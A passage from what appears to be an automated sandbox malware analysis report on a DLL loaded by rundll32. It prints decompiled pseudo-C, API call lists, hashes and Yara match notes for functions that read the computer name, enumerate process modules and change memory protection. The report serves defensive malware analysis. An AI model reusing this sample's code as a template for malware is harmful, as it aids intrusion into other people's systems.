                          0x04c71ffc
                          0x04c71ff3
                          0x04c720d9
                          0x04c720d9
                          0x04c720df
                          0x04c720df
                          0x04c720e8

                          APIs
                          • IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,052489D0,04C73F35,?,?,?,?,?,?,?,?,?,?,?,04C73F35), ref: 04C72047
                          • IUnknown_QueryService.SHLWAPI(00000000,4C96BE40,052489D0,04C73F35,?,?,?,?,?,?,?,04C73F35,00000000,00000000,00000000,006D0063), ref: 04C72085
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: QueryServiceUnknown_
                          • String ID:
                          • API String ID: 2042360610-0
                          • Opcode ID: 4999b76985e021777abfd5f0b0e2afa3acd1aea892e2f9299a3370ee74b946d7
                          • Instruction ID: 3c17b5b27309564b125bac94bae32f8391eed1dd3a6fb29d7596232c4a42f6f6
                          • Opcode Fuzzy Hash: 4999b76985e021777abfd5f0b0e2afa3acd1aea892e2f9299a3370ee74b946d7
                          • Instruction Fuzzy Hash: 04511E75900619AFCB00DFE4C888EEEB7B9FF88715B048599EA15EB210D731AD45CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C746CB Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                          Download Yara Rule
                          C-Code - Quality: 75%
                          			E04C746CB(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04C774FE(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x4c7a348; // 0x5cd5a8
						_t20 = _t68 + 0x4c7b1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E04C765D1(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                          0x04c746d1
                          0x04c746d4
                          0x04c746e4
                          0x04c746ed
                          0x04c746f1
                          0x04c747bf
                          0x04c747c5
                          0x04c747c5
                          0x04c7470b
                          0x04c74710
                          0x04c74714
                          0x04c7471a
                          0x04c7471f
                          0x04c74726
                          0x04c74735
                          0x04c74735
                          0x04c74739
                          0x04c7473b
                          0x04c74747
                          0x04c74752
                          0x04c7475d
                          0x04c74761
                          0x04c7476b
                          0x04c7476f
                          0x04c74771
                          0x04c74776
                          0x04c7477d
                          0x04c7478d
                          0x04c7478d
                          0x04c74776
                          0x04c7476f
                          0x04c7478f
                          0x04c74794
                          0x04c74799
                          0x04c74799
                          0x04c7479c
                          0x04c747a5
                          0x04c747aa
                          0x04c747aa
                          0x04c747af
                          0x04c747b4
                          0x04c747b4
                          0x04c747af
                          0x04c74739
                          0x04c747b6
                          0x04c747bc
                          0x00000000

                          APIs
                            • Part of subcall function 04C774FE: SysAllocString.OLEAUT32(80000002), ref: 04C7755B
                            • Part of subcall function 04C774FE: SysFreeString.OLEAUT32(00000000), ref: 04C775C1
                          • SysFreeString.OLEAUT32(?), ref: 04C747AA
                          • SysFreeString.OLEAUT32(04C73520), ref: 04C747B4
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: String$Free$Alloc
                          • String ID:
                          • API String ID: 986138563-0
                          • Opcode ID: d6608f1268258082003cc671c202456c91ff32a484d997926009f5931641c314
                          • Instruction ID: 199a9366b84b42b2a92d2082a00422c50094004ee2a2e6034d12c0dadbc04973
                          • Opcode Fuzzy Hash: d6608f1268258082003cc671c202456c91ff32a484d997926009f5931641c314
                          • Instruction Fuzzy Hash: B0315C75500158AFCB25DFA9C888CABBBBAFFCA7407248658F9059B210D731ED51DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C75634 Relevance: 3.1, APIs: 2, Instructions: 62COMMON
                          Download Yara Rule
                          C-Code - Quality: 50%
                          			E04C75634(intOrPtr* __eax, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v16;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr* _t32;
				intOrPtr _t42;
				intOrPtr _t45;
				intOrPtr _t48;
				void* _t51;

				_push( &_v16);
				_t42 =  *0x4c7a348; // 0x5cd5a8
				_t2 = _t42 + 0x4c7b468; // 0x20400
				_push(0);
				_push(__eax);
				_t51 =  *((intOrPtr*)( *__eax + 0x3c))();
				if(_t51 >= 0) {
					_t22 = _v16;
					_t45 =  *0x4c7a348; // 0x5cd5a8
					_t6 = _t45 + 0x4c7b488; // 0xe7a1af80
					_t23 =  *((intOrPtr*)( *_t22))(_t22, _t6,  &_v12); // executed
					_t51 = _t23;
					if(_t51 >= 0) {
						_t26 = _v12;
						_t51 =  *((intOrPtr*)( *_t26 + 0x1c))(_t26,  &_v8);
						if(_t51 >= 0) {
							_t48 =  *0x4c7a348; // 0x5cd5a8
							_t30 = _v8;
							_t12 = _t48 + 0x4c7b478; // 0xa4c6892c
							_t31 =  *((intOrPtr*)( *_t30))(_t30, _t12, _a4); // executed
							_t51 = _t31;
							_t32 = _v8;
							 *((intOrPtr*)( *_t32 + 8))(_t32);
						}
						_t28 = _v12;
						 *((intOrPtr*)( *_t28 + 8))(_t28);
					}
					_t24 = _v16;
					 *((intOrPtr*)( *_t24 + 8))(_t24);
				}
				return _t51;
			}


















                          0x04c75640
                          0x04c75641
                          0x04c75647
                          0x04c7564e
                          0x04c75650
                          0x04c75654
                          0x04c75658
                          0x04c7565a
                          0x04c75663
                          0x04c75669
                          0x04c75671
                          0x04c75673
                          0x04c75677
                          0x04c75679
                          0x04c75686
                          0x04c7568a
                          0x04c7568f
                          0x04c75695
                          0x04c7569a
                          0x04c756a2
                          0x04c756a4
                          0x04c756a6
                          0x04c756ac
                          0x04c756ac
                          0x04c756af
                          0x04c756b5
                          0x04c756b5
                          0x04c756b8
                          0x04c756be
                          0x04c756be
                          0x04c756c5

                          APIs
                          • IUnknown_QueryInterface_Proxy.RPCRT4(?,E7A1AF80,?), ref: 04C75671
                          • IUnknown_QueryInterface_Proxy.RPCRT4(?,A4C6892C,?), ref: 04C756A2
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Interface_ProxyQueryUnknown_
                          • String ID:
                          • API String ID: 2522245112-0
                          • Opcode ID: 5b86a32919b326b23793e7cae2227fee2180b9fa9c34cabd707d54b942bc6d6b
                          • Instruction ID: 0ca3093b0f2733fefe3f527822a87162e5a89ade42c5b3bd89c752f23b89fe9c
                          • Opcode Fuzzy Hash: 5b86a32919b326b23793e7cae2227fee2180b9fa9c34cabd707d54b942bc6d6b
                          • Instruction Fuzzy Hash: 8821EF79A00619EFCB00DFA4C888D9EB779FFC9B15B148694E905DB314D635ED41CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC3223 Relevance: 3.1, APIs: 2, Instructions: 57COMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • EnumProcessModules.PSAPI(00000008,00000000,00001000,00000000,00001000,00000000,00000104,00000000,?), ref: 04CC3253
                          • GetLastError.KERNEL32(00000008,00000000,00001000,00000000,00001000,00000000,00000104,00000000), ref: 04CC329A
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateEnumErrorFreeLastModulesProcess
                          • String ID:
                          • API String ID: 552344955-0
                          • Opcode ID: e88420b1004de16a1893a6c85a73b10a33ee6e90ea3aa24a29ca626ab5159e57
                          • Instruction ID: 8b3e1e47d5c82ab78e26a3b35aedd862a93ad0e3ea3ec993e3ae062ba1b326ed
                          • Opcode Fuzzy Hash: e88420b1004de16a1893a6c85a73b10a33ee6e90ea3aa24a29ca626ab5159e57
                          • Instruction Fuzzy Hash: 3611A571900248BBDF11DFE9D888BAEBBBAEF85754F21805DE80097250EB74EA45DB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC9370 Relevance: 3.1, APIs: 2, Instructions: 54memorytimeCOMMON
                          Download Yara Rule
                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,04CC02F2,69B25F44,?,?,00000000), ref: 04CC93AD
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,04CC02F2), ref: 04CC940E
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Time$FileFreeHeapSystem
                          • String ID:
                          • API String ID: 892271797-0
                          • Opcode ID: 41bf6a0c018f29f0697b2057336a5e8197007a6b0d8ab86d03383adf4e86c6a3
                          • Instruction ID: 84539971a31f5f7aa03ab75b03f25cd6dd5045d53f2b38a595c2a06612156510
                          • Opcode Fuzzy Hash: 41bf6a0c018f29f0697b2057336a5e8197007a6b0d8ab86d03383adf4e86c6a3
                          • Instruction Fuzzy Hash: 2D111CBAD01108FBDF10DBA4E944BDEB7BEEB08305F0040A9E901E2150D778BB44DBA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71240 Relevance: 3.1, APIs: 2, Instructions: 52COMMON
                          Download Yara Rule
                          APIs
                          • SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 04C71267
                            • Part of subcall function 04C746CB: SysFreeString.OLEAUT32(?), ref: 04C747AA
                          • SafeArrayDestroy.OLEAUT32(?), ref: 04C712B7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: ArraySafe$CreateDestroyFreeString
                          • String ID:
                          • API String ID: 3098518882-0
                          • Opcode ID: 8f2ba218648fc31d86a9d0613896730273ab663405de727903123ce1f8ac0605
                          • Instruction ID: 398925a5c238c8e753ad76fe0add0ecef43deaeb499e4462f93e53d77eb0c10c
                          • Opcode Fuzzy Hash: 8f2ba218648fc31d86a9d0613896730273ab663405de727903123ce1f8ac0605
                          • Instruction Fuzzy Hash: 6A115275A10109BFDB01DFA4C805AEEB7B9EF08750F008015FA04E7260E775AE15DB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C714F1 Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON
                          Download Yara Rule
                          APIs
                          • SysAllocString.OLEAUT32(04C77283), ref: 04C7150A
                            • Part of subcall function 04C746CB: SysFreeString.OLEAUT32(?), ref: 04C747AA
                          • SysFreeString.OLEAUT32(00000000), ref: 04C7154B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: String$Free$Alloc
                          • String ID:
                          • API String ID: 986138563-0
                          • Opcode ID: b21613c3b105e5967bf1fd55944729bde62d9eba49205865897fcad500781797
                          • Instruction ID: 21fe369609152c3d91305f7cef21ce6be8293e468b6466a60c611ff90ad7067d
                          • Opcode Fuzzy Hash: b21613c3b105e5967bf1fd55944729bde62d9eba49205865897fcad500781797
                          • Instruction Fuzzy Hash: E1016D7650010ABFDF419FA9D905DAF7BB9FF48714B044022FA09E7120E630AE15DBA1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C722D7 Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                          Download Yara Rule
                          C-Code - Quality: 37%
                          			E04C722D7(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E04C76D63(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E04C76C2C(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                          0x04c722dc
                          0x04c722e7
                          0x04c722e9
                          0x04c722ef
                          0x04c722f1
                          0x04c722f6
                          0x04c722ff
                          0x04c72303
                          0x04c7230c
                          0x04c72310
                          0x04c7231f
                          0x04c72312
                          0x04c72313
                          0x04c72318
                          0x04c72318
                          0x04c72310
                          0x04c72303
                          0x04c72328

                          APIs
                          • GetComputerNameExA.KERNEL32(00000003,00000000,04C757B5,00000000,00000000,?,746BC740,04C757B5), ref: 04C722EF
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • GetComputerNameExA.KERNEL32(00000003,00000000,04C757B5,04C757B6,?,746BC740,04C757B5), ref: 04C7230C
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: ComputerHeapName$AllocateFree
                          • String ID:
                          • API String ID: 187446995-0
                          • Opcode ID: 2b8114134816eb70dda77ef21d50f38330ed3c728d545e60c94be0610053dd22
                          • Instruction ID: 2b289fd7277e333e7625ea177e371308defad808ecde71ece0c7c7b2148fe2b7
                          • Opcode Fuzzy Hash: 2b8114134816eb70dda77ef21d50f38330ed3c728d545e60c94be0610053dd22
                          • Instruction Fuzzy Hash: 9FF05466B00105BBE721D6AA8C00FAF7AFEDBC5650F154095E944D3140EAB4EF019771
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C778BF Relevance: 3.0, APIs: 2, Instructions: 35stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C778BF(WCHAR* _a4) {
				void* __edi;
				intOrPtr _t11;
				intOrPtr _t14;
				void* _t16;
				void* _t18;
				WCHAR* _t20;

				_t20 = E04C76D63(lstrlenW(_a4) + _t7 + 0x5c);
				if(_t20 == 0) {
					_t18 = 8;
				} else {
					_t11 =  *0x4c7a348; // 0x5cd5a8
					_t5 = _t11 + 0x4c7ba70; // 0x43002f
					wsprintfW(_t20, _t5, 5, _a4);
					_t14 =  *0x4c7a348; // 0x5cd5a8
					_t6 = _t14 + 0x4c7b900; // 0x6d0063
					_t16 = E04C77928(0, _t6, _t20, 0); // executed
					_t18 = _t16;
					E04C76C2C(_t20);
				}
				return _t18;
			}









                          0x04c778d5
                          0x04c778d9
                          0x04c77919
                          0x04c778db
                          0x04c778df
                          0x04c778e6
                          0x04c778ee
                          0x04c778f4
                          0x04c778ff
                          0x04c77908
                          0x04c7790e
                          0x04c77910
                          0x04c77910
                          0x04c7791e

                          APIs
                          • lstrlenW.KERNEL32(7620F710,00000000,?,04C771A6,00000000,?,7620F710,00000000,7620F730), ref: 04C778C5
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • wsprintfW.USER32 ref: 04C778EE
                            • Part of subcall function 04C77928: memset.NTDLL ref: 04C7794B
                            • Part of subcall function 04C77928: GetLastError.KERNEL32 ref: 04C77997
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Heap$AllocateErrorFreeLastlstrlenmemsetwsprintf
                          • String ID:
                          • API String ID: 1672627171-0
                          • Opcode ID: ad4994ffc5ff86f683b06a5ede226608f7e161dd7260334a560d963922620a8b
                          • Instruction ID: 298628c30365ab8ca71cb716b9355b12d547eda843d816e1d80c7a9aad61ca4c
                          • Opcode Fuzzy Hash: ad4994ffc5ff86f683b06a5ede226608f7e161dd7260334a560d963922620a8b
                          • Instruction Fuzzy Hash: E3F0E936202618AFD310AB24DC04F6F77ADEF84725F058422F614C7112D635FD118761
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCE869 Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                          Download Yara Rule
                          APIs
                          • RtlEnterCriticalSection.NTDLL(04CDA400), ref: 04CCE873
                          • RtlLeaveCriticalSection.NTDLL(04CDA400), ref: 04CCE8AF
                            • Part of subcall function 04CB1A0A: lstrlen.KERNEL32(?,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977,04CC893A,?,?), ref: 04CB1A58
                            • Part of subcall function 04CB1A0A: VirtualProtect.KERNEL32(00000000,00000000,00000040,-0000001C,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977), ref: 04CB1A6A
                            • Part of subcall function 04CB1A0A: lstrcpy.KERNEL32(00000000,?), ref: 04CB1A79
                            • Part of subcall function 04CB1A0A: VirtualProtect.KERNEL32(00000000,00000000,?,-0000001C,?,00000000,?,04CD19C5,04CD94D8,?,?,00000004,00000000,?,00000000,04CD0977), ref: 04CB1A8A
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalProtectSectionVirtual$EnterFreeHeapLeavelstrcpylstrlen
                          • String ID:
                          • API String ID: 1872894792-0
                          • Opcode ID: 8cb18203d822a5e2b887f600a000992282ab458be850c75e8aaa9e070f907d4f
                          • Instruction ID: 4bd6a78898e99aa0cea4cb5a072365a05db5e6c918d8a8dc3a0dd7110098e6a9
                          • Opcode Fuzzy Hash: 8cb18203d822a5e2b887f600a000992282ab458be850c75e8aaa9e070f907d4f
                          • Instruction Fuzzy Hash: D7F0E57A2022159F87206F1D9888869F7AAEB8A22A315416EEE1653300CA77BC41DAD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBC9A9 Relevance: 3.0, APIs: 2, Instructions: 27COMMON
                          Download Yara Rule
                          APIs
                          • InterlockedIncrement.KERNEL32(04CDA05C), ref: 04CBC9BE
                            • Part of subcall function 04CC2331: GetSystemTimeAsFileTime.KERNEL32(?), ref: 04CC235C
                            • Part of subcall function 04CC2331: HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 04CC2369
                            • Part of subcall function 04CC2331: NtQueryInformationThread.NTDLL(000000FE,00000009,?,00000004,?), ref: 04CC23F5
                            • Part of subcall function 04CC2331: GetModuleHandleA.KERNEL32(00000000), ref: 04CC2400
                            • Part of subcall function 04CC2331: RtlImageNtHeader.NTDLL(00000000), ref: 04CC2409
                            • Part of subcall function 04CC2331: RtlExitUserThread.NTDLL(00000000), ref: 04CC241E
                          • InterlockedDecrement.KERNEL32(04CDA05C), ref: 04CBC9E2
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: InterlockedThreadTime$CreateDecrementExitFileHandleHeaderHeapImageIncrementInformationModuleQuerySystemUser
                          • String ID:
                          • API String ID: 1011034841-0
                          • Opcode ID: 52738888815ab40be70774c4eea5070e47e38ba22f37d5228d6b77b0ef6a3590
                          • Instruction ID: b41d36043756b011912c485a5242f1e45bc825ea6280b9db5ba2677f5bd16ac1
                          • Opcode Fuzzy Hash: 52738888815ab40be70774c4eea5070e47e38ba22f37d5228d6b77b0ef6a3590
                          • Instruction Fuzzy Hash: 91E04F37B48222A7BF215FB89844BAEB657AB00B85F04462CF9C6E0050DB20F951EBD1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71CD6 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C71CD6(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x4c7a2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x4c7a1c8 = GetTickCount();
				_t5 = E04C76D78(_a4);
				if(_t5 == 0) {
					_t5 = E04C74B89(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E04C76B1C(_t9) != 0) {
							 *0x4c7a300 = 1; // executed
						}
						_t7 = E04C73D2C(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                          0x04c71cd6
                          0x04c71cdf
                          0x04c71ce5
                          0x04c71cec
                          0x04c71cf0
                          0x00000000
                          0x04c71cf0
                          0x04c71cfd
                          0x04c71d02
                          0x04c71d09
                          0x04c71d0f
                          0x04c71d16
                          0x04c71d1f
                          0x04c71d21
                          0x04c71d21
                          0x04c71d2b
                          0x00000000
                          0x04c71d2b
                          0x04c71d16
                          0x04c71d30

                          APIs
                          • HeapCreate.KERNEL32(00000000,00400000,00000000,04C75E54,?), ref: 04C71CDF
                          • GetTickCount.KERNEL32 ref: 04C71CF3
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: CountCreateHeapTick
                          • String ID:
                          • API String ID: 2177101570-0
                          • Opcode ID: 4c7c4eb77be6b6e5c0ab777a0f92f3267c491bb459e493b242b0a76c61818626
                          • Instruction ID: 9438bf40c5087a4e9940791035475c5254cfc742126f5f9d176aee0c0dfd9d7b
                          • Opcode Fuzzy Hash: 4c7c4eb77be6b6e5c0ab777a0f92f3267c491bb459e493b242b0a76c61818626
                          • Instruction Fuzzy Hash: B3F092B8350B02EBFB112F71AD0571E35A6AF24789F14C825E945D4280EF7AF900BE26
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1DED Relevance: 2.6, APIs: 2, Instructions: 70memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC55E4: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04CC561D
                            • Part of subcall function 04CC55E4: VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,?,?), ref: 04CC5653
                            • Part of subcall function 04CC55E4: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04CC565F
                            • Part of subcall function 04CC55E4: lstrcmpi.KERNEL32(?,00000000), ref: 04CC569C
                            • Part of subcall function 04CC55E4: StrChrA.SHLWAPI(?,0000002E), ref: 04CC56A5
